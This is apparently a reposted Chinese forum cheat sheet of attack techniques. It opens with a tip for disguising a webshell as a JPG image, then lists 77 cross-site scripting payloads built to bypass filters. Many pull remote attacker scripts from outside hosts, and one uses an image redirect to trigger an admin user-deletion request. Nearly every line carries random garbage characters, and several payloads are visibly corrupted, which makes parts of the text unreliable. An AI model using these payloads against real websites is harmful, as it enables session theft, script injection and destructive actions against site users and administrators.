跨站图片shell
: T5 I: R9 s) h8 O7 LXSS跨站代码 <script>alert("")</script>
4 K0 S4 U& G4 B; i* H/ p3 _; G$ X/ e) m8 z' a1 \' l w* S+ a! D
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马( I! [. @( h& t" d0 _ w; K
3 O+ ~7 r9 O2 ?3 Y7 X8 @( n( i8 h8 H
# L9 d g6 k. v( {0 i1)普通的XSS JavaScript注入
7 s' \: B# G6 t* a( W5 E* }6 B<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- ?# } W. A+ }% F. _* w0 M
0 f% B3 d% m0 k/ m(2)IMG标签XSS使用JavaScript命令8 A' {4 y R: V F0 U
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 l- M5 Y ~/ j
6 \" i- o! ^' @! i V1 r9 V9 w
(3)IMG标签无分号无引号
! o I9 @. T! p4 x; x( r! C<IMG SRC=javascript:alert(‘XSS’)>
7 V6 w9 o- I, g1 ~# z
X( U d: s0 ]8 i! x( S8 ^- c5 R(4)IMG标签大小写不敏感( T/ M# i. y7 c: J8 t: u
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
2 A! F' t% d [+ E6 X
5 \- N, N( ]2 G1 f' p(5)HTML编码(必须有分号)
& P& N) e4 J5 Z1 r<IMG SRC=javascript:alert(“XSS”)>
8 P5 Q- n( f. j, g) h! E
* o) M5 K% v \8 N(6)修正缺陷IMG标签
1 t1 T8 u) G: Q9 m3 p1 o" ~<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>! V: v9 K# d# k9 e, n0 N
* p4 S& s. A" o(7)formCharCode标签(计算器)
& q; c) g8 w+ K; ~/ H- O F3 p1 Z<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
) g5 k3 D7 \: M
( L+ X0 {. |7 w4 ^7 r( B' }(8)UTF-8的Unicode编码(计算器)
6 U: I8 V2 _( A% U% e<IMG SRC=jav..省略..S')>. r- m3 F- ~7 L
+ }/ K& K0 e# `! e4 v( h% }2 U(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
7 l1 T" W. ~6 }<IMG SRC=jav..省略..S')>0 G. ~* p j! }3 m* |- e
/ N& v6 w* u1 P; ^(10)十六进制编码也是没有分号(计算器)
0 a R5 P7 B% s. v5 {, _! m<IMG SRC=java..省略..XSS')>
R; }! h+ X* s @
O( V# ]5 u3 Z3 T(11)嵌入式标签,将Javascript分开
8 ]) |- j: {2 q+ i R/ x) D9 J5 p<IMG SRC=”jav ascript:alert(‘XSS’);”>+ e8 p7 c) a9 t
4 X& ]/ B% {1 s8 Y; E% W7 y/ Q
(12)嵌入式编码标签,将Javascript分开
Y5 z, m# m8 e<IMG SRC=”jav ascript:alert(‘XSS’);”>, k5 H1 j" {3 g2 [" i2 p* V
0 v/ p7 Z6 b& e: q1 B
(13)嵌入式换行符; T4 Y% o9 \' ?, n8 q4 |
<IMG SRC=”jav ascript:alert(‘XSS’);”>) S+ c5 R5 z6 I5 o, L* w
1 w) E5 L S6 M1 J5 c% G
(14)嵌入式回车: V ]" }; N0 W2 G
<IMG SRC=”jav ascript:alert(‘XSS’);”>8 ?& H7 c7 U% A5 c& m2 e# V; m
0 H; I. L) r/ t( ]( c(15)嵌入式多行注入JavaScript,这是XSS极端的例子
4 L+ V5 j2 C+ H' v<IMG SRC=”javascript:alert(‘XSS‘)”>) ], H r! V& m, E" K& K! A4 _+ ?$ |
- C1 i% d# z5 l
(16)解决限制字符(要求同页面)( O1 q. y& S4 j; x/ G8 \' K
<script>z=’document.’</script>3 ?8 m1 B7 H8 ?* R, p C
<script>z=z+’write(“‘</script>$ C& s; F0 f$ p* ]# ]
<script>z=z+’<script’</script>
2 [' w$ v7 { U: x<script>z=z+’ src=ht’</script>/ m) V* Y1 s4 p( a2 _
<script>z=z+’tp://ww’</script>
7 j* i8 B. A6 [' r; A9 a<script>z=z+’w.shell’</script>
' ^) ~8 v% R8 X6 P- u/ \+ s6 t1 ? A<script>z=z+’.net/1.’</script>$ L1 D' O. e, Z, D( \
<script>z=z+’js></sc’</script>
; n( e s/ v2 t6 ?1 i' |3 O( r<script>z=z+’ript>”)’</script>
, v0 R( e" s/ x4 c<script>eval_r(z)</script>
& g; h% G. E: a8 r3 v6 N a. B% L% X1 |3 e: D/ i# D: g
(17)空字符
' d. {! q/ w/ _2 Y7 V' w5 _perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
" E8 n; X- L: z) Y8 E q5 ^) l& u
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
$ w) j- r3 F0 r6 s( b4 operl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out! T9 R6 y2 w Y( X2 C
& d8 O& z+ A, j0 I(19)Spaces和meta前的IMG标签
5 w6 M1 ?) e0 `4 \ Z: c1 E6 T<IMG SRC=” javascript:alert(‘XSS’);”>+ W" }; [- O& e% s+ d# m$ b
( A& }4 G6 n7 K, E/ z. C(20)Non-alpha-non-digit XSS1 S. o2 k R/ u6 Q
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
" L8 Q0 T& w: v, D/ y5 {4 X* G, K, q0 Y# X0 Z! x
(21)Non-alpha-non-digit XSS to 2! g7 v+ ^. N+ X
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>$ f, w0 U5 [( z: W" D5 `
% U( y4 G: ?7 Y+ k3 A& f(22)Non-alpha-non-digit XSS to 3$ I$ Q5 D" ^+ z5 h( p
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>1 X; a" q/ k- i# I ~7 U, v
- N9 q/ u# L& ]$ q(23)双开括号
$ ]" M I6 Q4 p" I<<SCRIPT>alert(“XSS”);//<</SCRIPT>. s( {, N( s% e4 x( d' [1 p" o
# U q1 |- G- W(24)无结束脚本标记(仅火狐等浏览器)
) w0 y( T7 |8 _# D: `3 R9 P<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>% d! g# w" J# m3 [
* q$ h+ V+ c" i% n
(25)无结束脚本标记2
7 j: c" Z* R2 ], l& @<SCRIPT SRC=//3w.org/XSS/xss.js>2 S7 O# g% p0 \! r, A5 k# s
# ]: k$ T1 V2 N% t) J! ]! @# }(26)半开的HTML/JavaScript XSS
3 j9 O* P- V) @( D8 S m. y: x<IMG SRC=”javascript:alert(‘XSS’)”' `+ v8 @& g% Q* R& y
* K+ X8 Y7 V, K* y G(27)双开角括号
: ^$ [8 [; X$ O: F<iframe src=http://3w.org/XSS.html <; o& o/ K5 h7 o' A! C
4 @" x! a }+ n; P3 V9 F. k(28)无单引号 双引号 分号7 {2 [1 r' O/ E# R( w4 {6 ^5 ]
<SCRIPT>a=/XSS/
7 o1 |4 c9 c( f, Q: galert(a.source)</SCRIPT>+ H3 |6 R E! \. s
- i4 T1 }' i9 I
(29)换码过滤的JavaScript
) O V( v# n4 ?! _. ?\”;alert(‘XSS’);//' b3 e/ k6 A5 _# y0 v0 K
& |; a% f& H( d(30)结束Title标签1 O% |% Z3 @- P. }
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
7 ?- h7 A6 s( q W/ Q, @0 z& ~6 z) E5 G; P
(31)Input Image/ r% v0 m: k! c, b
<INPUT SRC=”javascript:alert(‘XSS’);”>; j- Q9 g. e/ {, a
: }3 n5 r# `0 u
(32)BODY Image! z1 M+ A! n7 q) T
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
4 t. F" R* G, Q; B2 Z6 }
) a% u& @1 y- z6 ?( L(33)BODY标签9 ^" ~8 k1 J4 \$ @( y/ Y
<BODY(‘XSS’)>' b; Z" I3 v4 G8 F5 h# E
% J' h* b* d% t; Q x(34)IMG Dynsrc
- p7 G8 w6 r7 ~/ I<IMG DYNSRC=”javascript:alert(‘XSS’)”>) x2 J0 w; X* d7 y# P+ e" a
% A9 o# E8 T, Y3 u% n3 T( P7 e
(35)IMG Lowsrc
5 q Q7 V I( M ?1 K2 {7 P0 A! V$ }0 j+ P<IMG LOWSRC=”javascript:alert(‘XSS’)”>. t# L: B0 O% J7 \1 J
* Y c8 ?, O! C- i9 y* Z5 {7 l(36)BGSOUND
2 p8 M) t- @: U. Q3 R+ x<BGSOUND SRC=”javascript:alert(‘XSS’);”>% t0 K: H$ l G- a/ a
, \5 Z, C5 N0 L( [0 ?(37)STYLE sheet
8 e( _( R8 [: q<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
" i3 B: x# O; p. \1 H0 e+ [
7 J. P8 M! j9 D$ b(38)远程样式表: O! y0 D+ j' I/ m6 _2 x! Q
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
8 ?6 y! D0 J7 }% U7 o
7 h, M/ H7 H) B8 i) A5 J(39)List-style-image(列表式) h* v+ G/ p6 y9 r7 r7 u
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
6 }" [, B8 A. b6 w. [+ d3 C& A% f) \
(40)IMG VBscript
6 u% T: j9 N: v5 L8 e<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
) v3 @( U1 [* l+ Z6 J8 _! v) r9 C6 N) U2 g) b4 U5 I
(41)META链接url; |3 W% T) h# k0 o8 x$ g6 R
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
/ V7 e8 v+ n7 B4 }& x
5 u6 Z5 ^% `3 C5 F(42)Iframe# a% ~& E4 h% U% I
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
* G3 E; K) t4 B* J; ~1 M(43)Frame
7 D7 u+ j& {9 [<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
+ c( ]( m/ ]7 |% Z+ u1 h5 ?# c5 u/ f- ^/ k; K1 s
(44)Table
( n. S' }( r- v- c3 \ S<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
1 J' ?/ J( f3 H+ F! W! G1 o
5 j9 S- N2 J6 B0 q(45)TD+ Q1 _3 E( o) }8 X& H
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>/ q4 R; K3 J* J: n3 N& ^
& ?$ Y1 O G8 t5 L% Z(46)DIV background-image" ?& {" Z5 t6 K+ K" h; N( O8 {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>) Q( ^. {; [' h" ], o
- |: M# D B* m4 O7 A! f q
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
9 T k2 W6 \; G. q6 `* @; |<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>( m0 j y' n/ J) ~. n
" J% r! [/ D. h+ i9 M; N8 q
(48)DIV expression2 W9 E X3 @, S0 B, \9 a8 u
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>% ?8 [3 N+ _ M- ~7 {1 D
% W0 G; i$ i9 _! d- ]# x(49)STYLE属性分拆表达1 w* ~2 k* k7 w# _( K4 b$ ]9 a
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>7 O5 i- Z; a$ m9 ~0 o2 L
. j$ V( v% O! D% g
(50)匿名STYLE(组成:开角号和一个字母开头), u4 X( M% X0 K$ h
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>+ C* j, o" L: i- M& f- P
3 ]% _1 h2 [1 L7 K: U+ z- n$ j" |+ Q(51)STYLE background-image/ n) S: P$ L* \- q: Z
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>0 g2 C, x' _0 D+ m
; r' C1 A* |! W! S4 X" |(52)IMG STYLE方式
* ^& {; Q, a2 Q5 F5 Oexppression(alert(“XSS”))’>
. l: K6 [3 C5 h% _. |) y3 U0 l3 w; i7 h y
(53)STYLE background
1 p; M- d( D! w) x( `; b<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 Q6 [; A* p4 k5 ], R& \" C t9 M, S* K& B* O+ C
(54)BASE5 W; _/ D! V& \& c2 u
<BASE HREF=”javascript:alert(‘XSS’);//”>
$ `7 v2 b; k5 J/ |8 e& g0 e |
/ N2 H7 U3 k( M$ a- w4 W(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS! d0 A% m- t; D( X
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
& a, B. o& Z$ p- g9 e
l2 @( w1 c: a$ N(56)在flash中使用ActionScrpt可以混进你XSS的代码
: P3 Q4 Y+ q7 O% V& n# D1 N, |4 ta=”get”;6 @3 J T- B# n6 G) ~! M
b=”URL(\”";4 f) V* M- I1 [- j$ W% q8 J
c=”javascript:”;2 n/ M4 ~1 D( T$ l8 t9 c( ~8 e
d=”alert(‘XSS’);\”)”;1 n4 j* l( e& f( W, [
eval_r(a+b+c+d);
/ l" m3 `7 Y* f8 a1 v+ L5 ^5 k# m) T: T3 v
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上7 y- D8 v1 b4 ]( F0 l: B
<HTML xmlns:xss>" ~, Z" R# ~% H, _
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>% n/ \5 O# ~ Y" z$ s
<xss:xss>XSS</xss:xss>
+ L/ N9 Z) H6 A/ ]' A; x</HTML>% w' S# I/ i- V' R5 W2 F
" X2 ~5 J2 X$ g- z(58)如果过滤了你的JS你可以在图片里添加JS代码来利用% n* d/ U& d: Y8 S0 u& l
<SCRIPT SRC=””></SCRIPT>
" r) ^3 o6 N, @& ^
; ~: [+ m2 |5 G- ~3 _4 |(59)IMG嵌入式命令,可执行任意命令
: m' F% r, Z! J& n7 o& x<IMG SRC=”http://www.XXX.com/a.php?a=b”>+ { ~* Y- G+ Z+ B% r
0 q& t. N A& k6 y/ |' I(60)IMG嵌入式命令(a.jpg在同服务器)# W1 ^4 V: I ~2 u0 b
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser7 i, n) `- p3 ?/ U1 V; Z- r
" [0 |! I4 W3 ~" h9 w9 ?
(61)绕符号过滤
( W+ E8 m3 n; f! m! c; N# U<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
. A: \% \3 s& U% U: C, g/ b. t6 t- @2 T; S
(62)- X3 j4 K8 \( X0 T) t8 O0 M
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>' A1 @; M3 ~' k* z5 O
2 p7 j" k6 d$ }3 ^% m1 J(63)
; m/ }. k2 [" |( N<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
/ M, L7 {! d8 r* W8 D
4 w( \# k' K1 c- f: L S(64)
: Q* w) {/ S9 A8 [: P3 b$ t) [<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>' ?, O- u7 A7 F) j
5 R5 P+ a9 u: `3 k0 g6 o2 L' A- J(65)
0 k0 l4 m9 _; b& R9 G0 B8 P' j<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>4 H7 r) Q5 W" z; x% R* e5 B! O1 ?
* z$ Y1 Q9 B* }! D(66)
8 S; v( H; O# K<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ ?6 I9 b* Q0 G' ]' F( A) m7 d
0 \* T3 _& S8 p(67)
: P* u( D Y2 G, w" r4 ]/ F8 {: J" {<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>( y, B) k; R# |' W- _
% D) D- O4 D( j2 A
(68)URL绕行
1 J- O3 u( z% q! b! x, ^+ Z<A HREF=”http://127.0.0.1/”>XSS</A>8 \ b4 ^' c2 P3 L
" q" q8 i8 X! j2 w/ Q- c" u(69)URL编码
7 P# g4 F5 W, O<A HREF=”http://3w.org”>XSS</A>) E( h" x: ?+ e5 \' i6 y9 i8 l
! k6 p* m" f, g5 {9 A- q" c6 P
(70)IP十进制
) _5 F6 B) u# V/ o<A HREF=”http://3232235521″>XSS</A>
& F P8 ~. p# o" e8 X; l7 `/ c! g" E/ Z. u
(71)IP十六进制' r7 b5 c w! B
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>( s. i. k! M/ z( L8 b8 y
) D0 \3 f! u! a# p
(72)IP八进制
4 w3 B8 a) }+ c- r }8 e* _<A HREF=”http://0300.0250.0000.0001″>XSS</A>' b0 \- w$ b) c: ?1 I/ y/ E' f
; M" u- U$ V8 H( [5 L5 q4 G(73)混合编码
, [& E e2 f. k3 k6 D<A HREF=”h& a4 w. ~. E: c8 U" X3 T5 f
tt p://6 6.000146.0×7.147/”">XSS</A>+ E6 p- b& Q5 K! m( X
/ S' q- _9 k0 g. d; Q
(74)节省[http:]
. U; p5 l4 o; L$ H6 p7 X* B4 p<A HREF=”//www.google.com/”>XSS</A>4 S# l" a3 ~# M/ }% y7 N
/ a* o5 t+ g* w# f: ?) o; D
(75)节省[www] B: m; |; L; l1 I$ L
<A HREF=”http://google.com/”>XSS</A>
9 f; r' D( p7 \2 C
( p6 K: g7 l5 J" h8 F(76)绝对点绝对DNS
# J/ F N% @& Z/ c. o<A HREF=”http://www.google.com./”>XSS</A>( l) @+ W, s/ f4 J3 P
% M( {; [7 k6 C(77)javascript链接
9 {- L3 q, h4 m) q& ^4 n<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
' {1 _( R) C2 e |